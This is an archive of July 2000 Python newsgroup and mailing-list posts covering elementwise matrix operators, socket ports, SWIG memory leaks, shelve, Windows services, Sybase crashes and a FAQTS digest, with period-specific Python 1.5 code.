are in __dict__.

So why isn't there be something like a __dict__ that holds all the
properties of operators, including opcode?  Maybe because operators are not
supposed to change any way?  Maybe because this stage is even lower than the
implementation of dictionary?  Or is there more fundamental technical
reasons (Like making the compiler much slower)?

><mini rant>

I know I'm not supposed to respond to rant, but this has come up many times
so I thought I might just do it once and for all.

[ about + - * / being easily understandable but no clue about additional
operators which have no implicit meaning]

The implicit meaning is "the dot in front means the operator is
elementwise".  Tell a newbie this, then show him the following piece of code

[1,2] + [10,20] == [1,2,10,20]
[1,2] .+ [10,20] == [11, 22]

Then give him two minutes for brainstorming. He probably will figure out
what .* .- ./ do.

>But why stop here, why not proliferate the language with #!'s. Hell, I want
>python to be more like perl,

I have posted another article dealing with comparison with perl.  It hasn't
come up yet.  I may repost it.

>    Problem: Why do I have to write x.sendMessage(y.createMessage(txt))?  I
>should be able to write x &^% (y *&^ txt)

Well the problem is not with additional operators, but with the symbols you
choose to represent them.  The effect is similar if you write

x.adadsfsfdasf(y.cuaiouaoiu(txt))

You are allowed to do so in python. It wouldn't be Python's responsibility
if You actually do it.  Why would it make Python any worse if it allows you
to do the other thing and You actuall do it?

The best way to choose a meaningful symbol in your field is to use the ones
people have used for hundreds of years, or if your field hasn't existed that
long, spell things out explicitly.  It is a general rule that the newer the
field, the more verbose the names.  When things settle down the notations
will become more concise.  When the total number reduces to less than 7 :-)
you could even start to consider using binary operators if all of them have
a simple rule that maps to existing arithmetic operators that a newbie
understands in two minutes.  

>
></mini rant>

>
>> 5. Use a customized parser in python, with some compile tools?
>>
>>    Advantage: can change anything.  Can fine tune before settle down.
>>    Disadvantage: can change anything.  Slower than 1.  Don't know how to
>use
>>    it.  (But maybe they can be turned into option 1?)
>
>Look up mxTextTools at vex.  Its not very nice to use itself, but there is a
>wrapper API provided by someone else
>for custom lexers/parsers.

Please if some one can figure out how to use it to accept .+ as operator and
use __dotadd__ to define it.  After that I think I can figure out the rest.
:-)

>> elementwise operators might be useful elsewhere, like
>>
>> ["%5.2f", "%-8s", "%.2g"] .% [pi, 'short', 1]
>
>hmm, is that the same as "%5.2f %-8s %2g" % (pi, 'short', 1).
>
No.  The result is a list.

>> ["Alice", "Bob", "Charlie"] .+ "is" .+ ["girl", "boy", "boy"]
>>
>[does it automatically add the spaces between the words too ;-)]
>yes, because
>map(lambda x,y: x+"is"+y, ["Alice", "Bob", "Charlie"] .+ "is" .+ ["girl",
>"boy", "boy"])

With a little correction.  For named lists it is either

names .+ "is" .+ types
map(lambda x,y: x+"is"+y, names, types)

Whichever is deemed cleaner, I suppose there really is no need for list
comprehension after all.

The probelm is, of course, you cannot make a C module to speed up
elementwise operations with the latter notation because it uses builtin
syntax rather than method call.

>ever-rantingly-yours,
>

never-reply-to-rant-again-ly y'rs

Huaiyu



From rbill at digisprings.com  Fri Jul 28 12:12:03 2000
From: rbill at digisprings.com (Robert W. Bill)
Date: Fri, 28 Jul 2000 10:12:03 -0600
Subject: Socket question: arbitrary port
In-Reply-To: <8F7EB13BAbeablebeable@209.155.56.81>
References: <39805D19.C005F16F@hotmail.com> <Pine.LNX.4.10.10007271034460.31368-100000@localhost.localdomain> <8F7EB13BAbeablebeable@209.155.56.81>
Message-ID: <Pine.LNX.4.10.10007281009590.32410-100000@localhost.localdomain>

On 28 Jul 2000, Mitchell Morris wrote:

> rbill at digisprings.com (Robert W. Bill) wrote in 
> <Pine.LNX.4.10.10007271034460.31368-100000 at localhost.localdomain>:
> 
> >
> >On Thu, 27 Jul 2000, Jean Bergeron wrote:
> >
> >> Is it possible to connect a socket through an arbitrary port?
> >> In other words, can Python find an available port without having the
> >> programmer (or user) specify a particular port number?
> >> 
> >> Any help would be appreaciated!
> >> Thanks!
> >> 
> >My understanding is (assuming you're talking AF_INET) is that
> >it requires a port for the bind call for a server socket and a destination
> >port to connect to for a client socket. So you would have to
> >identinfy the port for those calls. 
> >i.e.-
> >import socket
> >
> >s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> >#you need a connect or bind to do something with it
> >s.bind('127.0.0.1', 80) #second num is port
> >s.connect('www.python.org', 80) #same here- need destination port num
> >
> >the lazy persons's method to pick the first available port (warning: bad
> >idea/example):
> >
> >portNum = 1
> >while 1:
> >    try: 
> >     s.bind('127.0.0.1', portNum)
> >     break
> >    except socket.error, why:
> >     # could analyze why here 
> >     portNum = portNum + 1
> >
> >--replace the above s.bind with s.connect('someplace', portNum), and you
> >have a great way to stir trouble :)
> >
> >Without details I might have missed the point, but the generalized answer 
> >is you provide a port for connect/bind in your program by some means
> >rather than python picking it.
> >
> >-robert
> >
> >
> 
> Ewwwwwwww .... don't ever ever ever do that again. Bad dog! No biscuit!
> 
> Contrary to your reasoning, you only need bind *OR* connect. If you're 
> going to listen, you bind. If you're not going to listen, you connect. I 
> would swear this is in the Python distribution somewhere. [rummaging about 
> in the directory tree] There is an example in Lib/test/test_socket.py in 
> your Python distribution. An even shorter example is here:
> 
> C:\>python
> Python 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32
> Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
> >>> import socket
> >>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
> >>> s.connect(('www.pythonlabs.com', 80))
> >>> s.send('GET / HTTP/1.0\r\n\r\n')
> 18
> >>> print s.recv(8192)
> [deletia]
> >>> s.close()
> 

Mitchell,

Consult line #9 of my reply and note the use of the word *or*!!!!!!

I want my bisquit! :)

-robert



From hzhu at localhost.localdomain.bbs  Mon Jul 17 02:10:01 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 17 Jul 2000 06:10:01 GMT
Subject: Discussion: Introducing new operators for matrix computation
Message-ID: <3bR26P$l00@openbazaar.net>

On Sat, 15 Jul 2000 23:38:30 +0100, Gareth McCaughan <gjm11 at g.local> wrote:
>Huaiyu Zhu wrote:
>> How would you write this in list compresension (in less than 10 lines)?
>>
>> B*(sin(A*x+b).*(A*y)/3)/C
>>
>> Note that * is matrix multiplication and .* is elementwise.  Note that C is
>> a matrix so the / is matrixwise.  If you want to write everything as for
>> loops it takes at least 30 lines, without any decent error analysis.
>
>    B*[p*q/3 for p in A*x+b, q in A*y]/C

Someone else had already given a similar answer.  But more work is needed
for such things to work:

The x, b and y could be matrices, so p and q need to be double loops.

The [ ... ] need to be a double lists.  Is list comprehension defined for
this?

B*[..]/C would not work without a cast from double list to matrix.

For all these errors, what would the error messages look like?  Do they
involve the dummy indices p and q?  A previous answer also reused the name b
for the dummy variable, which would make the error even more obscure.

Besides, the main point of using matrix is to be free from specifying loops
over indices with dummy names.  Compare this double loop with extra syntax
with a single operator .* and you may wonder why this is considered at all.

Since this is going way off original topic I'll stop here.  I admit that I'm
at fault to a large extent.

As to the question of what's the precedence of the proposed .* like
operators, they are the same as their ordinary counterparts, because they
become identical when the operands are numbers or 1x1 matrices.


Huaiyu


From alex_c at mit.edu  Tue Jul 18 08:19:46 2000
From: alex_c at mit.edu (Alex Coventry)
Date: 18 Jul 2000 08:19:46 -0400
Subject: Small correction. Re: pty.py: any example code out there?
References: <B5995041.6490%dgoodger@bigfoot.com> <etdhf9nlkyb.fsf@nerd-xing.mit.edu>
Message-ID: <etdg0p7ljfh.fsf_-_@nerd-xing.mit.edu>

Oops, I introduced some syntax errors while I was ripping out the
parts that contact me.  Whereever you see a line containing
'alert_alex' put a 'pass' on a line above it with the same
indentation.

Sorry.
Alex.


From loewis at informatik.hu-berlin.de  Wed Jul 19 12:27:54 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 19 Jul 2000 18:27:54 +0200
Subject: Does Python code >.require<< a run-time environment?? (New to Python)
References: <20000714153818.28906.qmail@web5302.mail.yahoo.com>
Message-ID: <p6q8zuyytit.fsf@informatik.hu-berlin.de>

Dave Williams <xiarcexml at yahoo.com> writes:

> I am new to Python... and I was wondering... Does Python code compile
> to any form of .exe file, or do you require a run-time interpreter? 
> If the second is the case, how do you distribute applications??  Is
> it a light-weight run-time (small space, easy to include)... and do
> the end-users have to go through alot of steps to get to run it??

Sure. Please have a look at

http://www.python.org/doc/FAQ.html#4.28

Regards,
Martin


From ioadler at my-deja.com  Thu Jul 13 18:22:39 2000
From: ioadler at my-deja.com (ioadler at my-deja.com)
Date: Thu, 13 Jul 2000 22:22:39 GMT
Subject: Memory leaks
References: <395F78BF.CBEAA090@synacon.ch> <8F6667253gmcmhypernetcom@199.171.54.154>
Message-ID: <8klffg$ql5$1@nnrp2.deja.com>

In article <8F6667253gmcmhypernetcom at 199.171.54.154>,
  gmcm at hypernet.com (Gordon McMillan) wrote:
> Ingo Adler wrote:
>
> [strange leaks in SWIG'd code]
>
> >I have some simple Python-Code which generated memory leaks (ca. 4MB):
> >(The real code is more complicated, but I could strip it down to this
> >simple example = the smallest example with the memory leak.)
> >//---------------------------
> >x = X()
> >
> >for i in range(100000):
> >    y = x.getY()
> >    y.getNumber()
> >//---------------------------
>
> Doing things in the "obvious" way from your (snipped) incomplete code, I
> get no leak when using MSVC 5.
>
> - Gordon

Hi Gordon,

Finally, I reproduced the leaks under the control of "Code Guard", which can
list them.

For every call in the loop there is an entry like this (I translated it to
English):

Error 00175. 0x300010 (Thread 0xFFE455D5):
Ressource-Leak: memory block (0x2732848) has never been released

memory block (0x02732848) [Size: 40 Byte] was allocated with malloc
call stack:
   0x004AECDD(=FORTUNA.EXE:0x01:0ADCDD) \Python\Objects\stringobject.c#145
   0x0044BE99(=FORTUNA.EXE:0x01:04AE99) \src\fortuna_wrap.c#769
   0x0044F969(=FORTUNA.EXE:0x01:04E969) \src\fortuna_wrap.c#1824
   0x0046B9F9(=FORTUNA.EXE:0x01:06A9F9) \Python\Python\ceval.c#2359
   0x0046B892(=FORTUNA.EXE:0x01:06A892) \Python\Python\ceval.c#2324
   0x0045EDBE(=FORTUNA.EXE:0x01:05DDBE) \Python\bltinmodule.c#126

That makes 40*100000 = 4 MB as I measured roughly before.

fortuna_wrap.c is the code generated by swig:

...

SWIGSTATICRUNTIME(PyObject *)

SWIG_NewPointerObj(void *ptr, _swig_type_info *type) {

  char result[512];

  PyObject *robj;

  if (!ptr) {

    Py_INCREF(Py_None);

    return Py_None;

  }

#ifdef SWIG_COBJECT_TYPES

  robj = PyCObject_FromVoidPtrAndDesc((void *) ptr, type->name, NULL);

#else

  SWIG_MakePtr(result,ptr,type);

// line 769
  robj = PyString_FromString(result);

#endif

  return robj;

}


...

#define Y_getX(_swigobj)  (_swigobj->getX()) static PyObject
*_wrap_Y_getX(PyObject *self, PyObject *args) {  Y  *_arg0;  PyObject 
*_resultobj,*_argo0=0;	X  *_result;  self = self; 
if(!PyArg_ParseTuple(args,"O:Y_getX",&_argo0))	return NULL;  if
((SWIG_ConvertPtr(_argo0,(void **) &_arg0,SWIGTYPE_Y_p,1)) == -1) return
NULL;  _result = (X *)Y_getX(_arg0);

// line 1824
    _resultobj = SWIG_NewPointerObj((void *) _result, SWIGTYPE_X_p);
    return _resultobj;
}

...


So it happens in PyString_FromString - but only with this loop (= both
functions in the loop).

Any suggestions?

Ingo





Sent via Deja.com http://www.deja.com/
Before you buy.


From schneiker at jump.net  Sat Jul 29 22:37:31 2000
From: schneiker at jump.net (Conrad Schneiker)
Date: Sat, 29 Jul 2000 21:37:31 -0500
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net> <398126DE.6E2C2627@ajubasolutions.com> <m3k8e6q7qr.fsf@bluepeak.westend.com> <3981EDA1.1CB1CE07@ajubasolutions.com> <cpbszgevg0.fsf@cj20424-a.reston1.va.home.com> <fwLg5.15678$4p3.123541@news-server.bigpond.net.au>
Message-ID: <8m047k$8bl$1@news.jump.net>

Hi,

"Neil Hodgson" wrote:

> > A comment on the hope for a common runtime: I think this will buy you
> > less than you think.  ...
>
>    A common runtime could at least produce a common library interface.
> Wrapping each API once each for Perl, Tcl, Ruby and Python is a waste of
> time. Some APIs will be difficult to wrap because of callbacks or
threading
> issues etc., but a lot are simple and could be wrapped generically.
>
>    Maybe Mark Hammond's enthusiasm for .NET is partly a desire to never
> again have to run SWIG over Microsoft's latest API changes. With .NET, all
> the languages have access to all the libraries.
>
>    A message covering related topics just appeared on c.l.ruby

You can now look it up directly at:
http://x58.deja.com/[ST_rn=ps]/getdoc.xp?AN=652250865&CONTEXT=964923186.1541
800008&hitnum=5

> so they may want to be included too.

Yes, please do (at least for the time being).

Thanks,
Conrad







From smoriano at sicon.net  Tue Jul 25 08:05:45 2000
From: smoriano at sicon.net (sergio)
Date: Tue, 25 Jul 2000 14:05:45 +0200
Subject: SIMPLE QUESTION
Message-ID: <397D8299.27F82E6D@sicon.net>

Hi again , i try to explain it better this time.

    From a dll of a pdf converter , i make a py file. And i want to use
the next function in order to initializate a new printer driver:

def DriverInit(self, PrinterName=defaultNamedNotOptArg):
  return self._ApplyTypes_(0x1b, 1, (3, 0), ((8, 0),), 'DriverInit',
None, PrinterName),

included in the class:

class ICDIntf(DispatchBaseClass):

When i try to call it i get the error

 File "<interactive input>", line 0, in ?
 TypeError: unbound method must be called with class instance 1st
argument.

I suppose its refering to the argument 'self' so, how can i get the
class instance to pass it to the function.




From richard_chamberlain at ntlworld.com  Tue Jul 11 19:15:49 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Wed, 12 Jul 2000 00:15:49 +0100
Subject: path
References: <3pNa5.17986$6y5.14385230@news2.rdc2.tx.home.com>
Message-ID: <QSNa5.11582$dL5.186259@news6-win.server.ntlworld.com>

Hi David,

By path what do you mean? If you want to change the current working
directory then the following will do what you want:

import os
print os.getcwd() # displays current directory
os.chdir('c:\\windows\\desktop')

Richard
David L. Heald Jr. <blinocac1 at home.com> wrote in message
news:3pNa5.17986$6y5.14385230 at news2.rdc2.tx.home.com...
> This may seem ike a dumb question, but how do I change the path in
> pythonwin?
>
>




From ame at swipnet.se  Sun Jul 23 06:28:06 2000
From: ame at swipnet.se (Anders Eriksson)
Date: Sun, 23 Jul 2000 12:28:06 +0200
Subject: PIL and HPGL
References: <4682ls4ukdce8uipv7hcgfjkihv6teoppj@4ax.com> <39799A48.2D2F8FF6@arrakis.es>
Message-ID: <0rajnsssoj64fqp28hpohc3c8f2pu7al0a@4ax.com>

On Sat, 22 Jul 2000 10:54:36 GMT, Marcos S?nchez Provencio
<rapto at arrakis.es> wrote:

>
>You might try printing to postscript in AutoCAD and converting the
>resulting .ps or .prn to pdf with ghostscript.

Hello Marcos!

Thanks for the reply! Yes I am a aware about the possibility to use
postscript and ghostscript to create a PDF. This how I do it today. I
just wanted to use Python to do this. The optimal would be to read the
DWG directly and create a PDF ;-) but I settle for using HPGL of DXF. 

I just saw that ReportLab has release version 1 of there Python module
for handling PDF so maybe this is a better way than using PIL, 

// Anders


From mmillikan at vfa.com  Fri Jul 28 16:16:12 2000
From: mmillikan at vfa.com (mmillikan at vfa.com)
Date: 28 Jul 2000 16:16:12 -0400
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com> <3981DB97.E367C81E@alcyone.com> <so3qid5o0b176@corp.supernews.com>
Message-ID: <ur98e6mer.fsf@vfa.com>

Steve,

Are you saying that data is naturally untyped and that 
operations/functions are naturally typed (and that this typing
of o/f's is unambiguous)?

Mark


From denalione at my-deja.com  Tue Jul 11 09:35:06 2000
From: denalione at my-deja.com (Dale Burnett)
Date: Tue, 11 Jul 2000 13:35:06 GMT
Subject: PythonService file creation
References: <8kbel1$qrp$1@nnrp1.deja.com> <8F6D93D27gmcmhypernetcom@199.171.54.154> <8kd7cv$3uk$1@nnrp1.deja.com>
Message-ID: <8kf7q9$hl8$1@nnrp1.deja.com>

In article <8kd7cv$3uk$1 at nnrp1.deja.com>,
  Dale Burnett <denalione at my-deja.com> wrote:
> In article <8F6D93D27gmcmhypernetcom at 199.171.54.154>,
>   gmcm at hypernet.com (Gordon McMillan) wrote:
> > Dale Burnett wrote:
> >
> > >When running my app at the command prompt using the debug option I
> can
> > >create a new file and write to it.  When the app is started via
> Control
> > >Panel/Services the file is not created and written too.  I have
used
> the
> > >python native file functions and the NT api CreateFile() function.
I
> > >have tried running the service using the System Account with
Interact
> > >with Desktop checked and specifying an account.
> > >Any suggestions?
> >
> > Besides the account it's running under, the only other problem I can
> think
> > of is relying on some (mistaken) notion of what the current
directory
> is.
> >
> > I've written files from services, so I know there's no showstopper.
> >
> > - Gordon
> >
>
> Do you happen to have a code snippet handy?
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>

Thanks for the tip.  I was creating the file in the current directory.
The current directory is different when running the service through the
debugger than when running from Control Panel.

Thanks
Dale


Sent via Deja.com http://www.deja.com/
Before you buy.


From stephen_purcell at yahoo.com  Wed Jul 26 18:16:36 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Thu, 27 Jul 2000 08:16:36 +1000
Subject: s = shelve.open(blah), s.items() Attribute Error
In-Reply-To: <slrn8nuiec.nv.jblaine@kickflop.ne.mediaone.net>; from jblaine@kickflop.ne.mediaone.net on Wed, Jul 26, 2000 at 08:28:56PM +0000
References: <slrn8nuiec.nv.jblaine@kickflop.ne.mediaone.net>
Message-ID: <20000727081636.A9696@inkontact.com.au>

Jeff Blaine wrote:
> It seems that shelf objects do not have an .items() method like
> normal dictionary objects.
> 
> Is this true?

You're right, according to the source.

> If so, it should probably be pointed out in the docs under 'Restrictions'
> for shelve.  And also, is there a reason?

Probably an omission on the part of the author, or it might be considered an
undesirable operation, since it is equivalent to slurping everything out of
the shelf file.

You can try something like:

  s = shelve.open(blah, 'c')
  i = map(s.__getitem__, s.keys())

to get the same effect, but that raw reference to '__getitem__' is bad form.

Best to stick with:

  s = shelve.open(blah, 'c')
  i = map(lamba s=s, k: s[k], s.keys())

or simply:

  s = shelve.open(blah, 'c')
  i = []
  for k in s.keys():
    i.append(s[k])


-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From olivierS.dagenaisP at canadaA.comM  Sun Jul 16 16:59:41 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sun, 16 Jul 2000 20:59:41 GMT
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz> <jbPb5.1245$bb.28195@news101.telia.com> <%%Rb5.109206$HK2.1930096@news20.bellglobal.com> <o8kc5.203$rg.9815@news101.telia.com> <A1lc5.87653$W35.2011983@news20.bellglobal.com> <kIlc5.219$rg.11710@news101.telia.com> <Ouoc5.89081$W35.2036480@news20.bellglobal.com> <43pc5.394$uj.2466@news101.telia.com>
Message-ID: <1npc5.89253$W35.2043008@news20.bellglobal.com>

> ill take a look at it, although my guess is that I will stick with
> Ultra Edit until I get around to making my own editor

If we all combined our efforts on "Boa Constructor", "wxDesigner" and
"PythonWin", we may just already have everything we need to kick every other
language's or IDE's rear-end... : )  Do you have an URL for Ultra Edit?
You've sparked my curiosity..

> > > it is said the man who knew the language inside out :-)
> > I'm sorry, I don't follow...
> I was just showing off :-)
> saying yes var is the way you do it, when you do it in
> JavaScript/JScript, and at the same time saying that
> I know JScript inside out

Ah, I think I could have used a little comma after "it is", as in

"It is", said the man who knew the language inside out.

rather than my interpretation:

It is said that the man knew the language inside out.

...a little different, isn't it?  : )

> yes the 125 wasn't much fun - I haven't looked at 132 yet,
> I have been busy developing a major online consumer database in
> ASP/Jscript, I actually considdered using Python but I couldn't
> figure out how to set the values Session and Application Objects...

I also thought 125 wasn't too good, but that's because I thought I had
grabbed the latest version...  132 is a big improvement, you really should
try it!

> aye one thing only - and of course I know the question, isn't
> that what we earthlings are here for? ;-)

Yeah, but our planet was destroyed five minutes before the "computation" was
complete.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III





From gmcm at hypernet.com.bbs  Mon Jul 17 23:00:04 2000
From: gmcm at hypernet.com.bbs (gmcm at hypernet.com.bbs)
Date: 18 Jul 2000 03:00:04 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators
Message-ID: <3bRYX5$k0E@openbazaar.net>

Huaiyu Zhu wrote:

>I don't see such arguments as any different from the claim that string
>literals are sintactic sugar for the single domain of text processing
>only (web and re and so on being subdomains).  Since by such definition
>text processing is a very large domain I do want string literals even
>just for this only domain, even if it does not include everything.

Look at it this way: the implementation of Python is based on strings,
tuples, dicts and lists. So they came for free. The most exotic operators
Python currently has are probably the shift operators. That's really not a
good precedent for 8 new operators.

[bjorn suggest preprocessing...]

>This could work if there is a hook so that
>
>import mymodule
>
>would automatically run
>
>preprocessor < mymodule.mpy > mymodule.py
>
>anywhere in the path.  It should do this after examining the timestamp
>just like current import does.  Otherwise after a few surprises people
>would keep .py instead of .mpy so it is just a helper for writing, but
>not useful for extending or maintaining code,

Get Greg Stein's imputil.py from
 http://www.lyra.org/greg/python/
(or wait for BeOpen's first release - it'll be in the std lib). It has a
hook for this.

-Gordon


From shindich at my-deja.com  Mon Jul 10 20:19:53 2000
From: shindich at my-deja.com (shindich at my-deja.com)
Date: Tue, 11 Jul 2000 00:19:53 GMT
Subject: Getting ip address and browser info
References: <3967B9F8.1694E2F3@bioeng.ucsd.edu>
Message-ID: <8kdp6r$hgb$1@nnrp1.deja.com>

In article <3967B9F8.1694E2F3 at bioeng.ucsd.edu>,
  Curtis Jensen <cjensen at bioeng.ucsd.edu> wrote:
> Using python CGI how can I get the ip address and browser info of the
> requestion party?  Thanks.
>
> --
> Curtis Jensen
> cjensen at bioeng.ucsd.edu
> http://www-bioeng.ucsd.edu/~cjensen/
> FAX (425) 740-1451
>
There was already a discussion on this subject. You might want to search
for it on dejanews.
You can also see my sample code on how to get client's IP address at
http://www.shindich.com/sources/cgi/clientip/readme.html

There is one thing to keep in mind however, the client ip address might
be meaningless if the client is behind a firewall or if it's a DHCP
client.

I hope this helps!

Alex Shindich

http://www.shindich.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From djc at object-craft.com.au  Thu Jul 13 20:11:21 2000
From: djc at object-craft.com.au (Dave Cole)
Date: 14 Jul 2000 10:11:21 +1000
Subject: Sybase module crashes (segfault)
References: <396B2DEA.2FAEA72B@schlund.de> <396B3885.F612FD76@schlund.de> <m3g0pg9pj3.fsf@vole.object-craft.com.au> <396DDD1B.1A64A561@schlund.de>
Message-ID: <m33dldfu52.fsf@vole.object-craft.com.au>

> Actually there are three cases in which Sybase.connect makes a
> segfault:
> 
> - missing interfaces file
> - $SYBASE not set
> - $LANG set to anything else than "" or "C" and no
> internationalazation installed with Sybase

I should really fix the import to check for some of these things.  I
just changed the vaults URL to point to a location where I could see
downloads.  I had no idea that more than five or so people were
actually using this module.

Using my statistically valid log file sample of one day, there are
probably a hundred or so users.

Woohoo!

- Dave



From fiona at sitegnome.com  Mon Jul 24 03:10:37 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 24 Jul 2000 07:10:37 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 24th, 2000
Message-ID: <20000724071037.2569.qmail@synop.com>

Greetings :-)

Only a couple of new entries into http://python.faqts.com today.

cheers,

Fiona Czuczman

Including:

- Is there a way to get input not echoed to the screen in Python, as in 
the non-standard functions kbhit() and getch() in C and C++?
- How can I change the Proxy Setting in MSIE from python?
- Searching a simple tutorial on the internet for accessing a MySQL 
database using Python.
- Is there any way to shell out to a program and return whatever is 
printed to stdout rather than the exit status?
- Why is my pipe i/o thread blocking the other threads? Any answers?


## Unanswered Questions ########################################


-------------------------------------------------------------
Is there an IPC-modul in Python ?
http://www.faqts.com/knowledge-base/view.phtml/aid/4965
-------------------------------------------------------------
Marc Gehling



## New Entries #################################################


-------------------------------------------------------------
Is there a way to get input not echoed to the screen in Python, as in the non-standard functions kbhit() and getch() in C and C++?
http://www.faqts.com/knowledge-base/view.phtml/aid/4969
-------------------------------------------------------------
Fiona Czuczman
Bjorn Pettersen

import msvcrt

while not msvcrt.kbhit():
   #do something
c = msvcrt.getch()

assuming you're on windows, of course...


-------------------------------------------------------------
How can I change the Proxy Setting in MSIE from python?
http://www.faqts.com/knowledge-base/view.phtml/aid/4970
-------------------------------------------------------------
Fiona Czuczman
Alex Martelli

This is what MSDN has to say on the issue, after explaining how to find 
out what your usual defaults for proxy are (i.e., Internet 
Options/Connection/Proxy Server):

If you intend to use a proxy other than that named in the dialog box, 
set the AccessType property to icNamedProxy (2). Then set the Proxy 
property to the name of the proxy, as shown in the code below:

Inet1.Proxy = "myProxyName"
Inet1.AccessType = icNamedProxy

On the other hand, if you are content to use the default proxy (as
determined by your computer's registry), ignore the Proxy property, and
simply set the AccessType to icUseDefault (0).

The settings for AccessType are shown in the following table:

Constant     Value           Description
icUseDefault 0 (Default)     Use Defaults. The control uses 
                             default settings found in the
                             registry to access the Internet.
icDirect     1               Direct to Internet. The control has a 
                             direct connection to the Internet.
icNamedProxy 2               Named Proxy. Instructs the control to use 
                             the proxy server specified in the
                             Proxy property.

MSDN mentions this in a Visual Basic context, but of course it should 
all work just as well from Python.

As an aside: being an information junky, I just LOVE the MSDN. Mostly 
for Windows stuff, OK, but I also find it useful as an online searchable 
reference to HTML, the C++ standard library, Unicode character tables, 
etc, etc.  Besides reading it at msdn.microsoft.com, you can probably 
get slightly old extra ones from Windows developer friends for free -- 
MS puts one out 4 times a year, and you don't really need the latest 
one:-).


## Edited Entries ##############################################


-------------------------------------------------------------
Where can I download python DBI for MYSQL?
Searching a simple tutorial on the internet for accessing a MySQL database using Python.
http://www.faqts.com/knowledge-base/view.phtml/aid/3667
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain,Greg Fortune

To get a MySQL module, go to http://dustman.net/andy/python/MySQLdb/
and download the 0.2.1 release.  The readme included with the module 
will give you a brief description of its functions.  I haven't ever 
tried it on a windows box, but it works great for linux.

Probably best to look at http://www.vex.net/parnassus for most modules. 
They have a nifty tutorial section about lots of python related stuff.


-------------------------------------------------------------
Is there any way to shell out to a program and return whatever is printed to stdout rather than the exit status?
http://www.faqts.com/knowledge-base/view.phtml/aid/4922
-------------------------------------------------------------
Loren Poulsen, Michael Hudson, Fiona Czuczman
http://www.python.org/doc/current/lib/module-commands.html,Mark Hammond

import commands
print commands.__doc__

:-)

----------

Use os.popen() - RTFM.  However, note that for Python 1.5.2 and before,
os.popen often doesnt work on Windows - you need my win32 extensions for
this, where win32pipe.popen() does the right thing.  os.popen should
reliably work on Windows in Python 2.0 and later.


-------------------------------------------------------------
Why is my pipe i/o thread blocking the other threads? Any answers?
http://www.faqts.com/knowledge-base/view.phtml/aid/4933
-------------------------------------------------------------
Fiona Czuczman
Richard Brodie

There is a global lock within Python, protecting its internals. When you
call out from a Python to a C extension method in a thread, the thread
holds the lock.

For maximum parallelism, and particularly if you're doing blocking I/O
in a thread, you need to release and reaquire the lock.

See: http://www.python.org/doc/current/api/threads.html for details.

------------

This is only a solution if the problem occurs when using a non-standard 
extension module (ie, a Python module implemented in C/C++).  The 
statement "you need to release and reaquire the lock" is misleading - 
you can _not_ do this from Python code - only C code can do this.


-------------------------------------------------------------
Is there any way I can prevent pythonwin(scintilla) from reading the method names of a specific class
http://www.faqts.com/knowledge-base/view.phtml/aid/4734
-------------------------------------------------------------
Nils Otto Johansen, Fiona Czuczman
Mark Hammond

NO.






From thomas at xs4all.net  Sat Jul  8 18:13:35 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sun, 9 Jul 2000 00:13:35 +0200
Subject: [URGENT]: Setting PYTHONHOME and PYTHONLIB
In-Reply-To: <3964336F.E6ECA187@cica.es>; from perer@cica.es on Thu, Jul 06, 2000 at 09:21:19AM +0200
References: <3964336F.E6ECA187@cica.es>
Message-ID: <20000709001335.R26534@xs4all.nl>

On Thu, Jul 06, 2000 at 09:21:19AM +0200, Manuel Perera wrote:

> I'm using Debian in a machine, where I'm not root. I need to set the
> variables PYTHONHOME
> and PYTHONLIB , I've uncompressed the packages python-base...deb and
> python-base..tk... in
> /tmp/python, so I have this kind of directory structure: 
> /tmp/python/usr/bin/python
> /tmp/python/usr/lib/python ...

> Any help would be gratefully welcomed. 

What exactly do you need help with ? What isn't working ? What have you
tried ? You do need to set the PYTHONHOME variable, but PYTHONLIB shouldn't
be necessary (I doubt it does anything.) PYTHONHOME should be
'/tmp/python/usr' in your case, I believe. Don't forget to set your shells
PATH to include '/tmp/python/bin' either. And lastly, /tmp is probably not a
good place for this: it's likely to be cleaned up every few days or so. So
you might eventually experience mysteriously disappearing files... ;)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From neelk at brick.cswv.com  Thu Jul  6 18:08:21 2000
From: neelk at brick.cswv.com (Neel Krishnaswami)
Date: 6 Jul 2000 22:08:21 GMT
Subject: function arguments
References: <Pine.LNX.4.21.0007061257160.17492-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <slrn8ma2l0.mg0.neelk@brick.cswv.com>

Johannes Zellner <johannes at zellner.org> wrote:
> 
> Hello,
> 
> is there a way to get a functions argument list ?
> 
> e.g.
> 
> def fun(fred, lola):
>     ...
> 
> something like `arglist(fun)' should return [ 'fred', 'lola' ]

Sure -- use my Signature module:

  >>> import Signature
  >>> def fun(fred, lola):
  ...     pass
  ... 
  >>> s = Signature.Signature(fun)
  >>> s.full_arglist()
  ['fred', 'lola']

It's at <URI:http://www.sff.net/people/neelk/open-source/> -- let me
know what you think. The big limitation is that it won't work on C
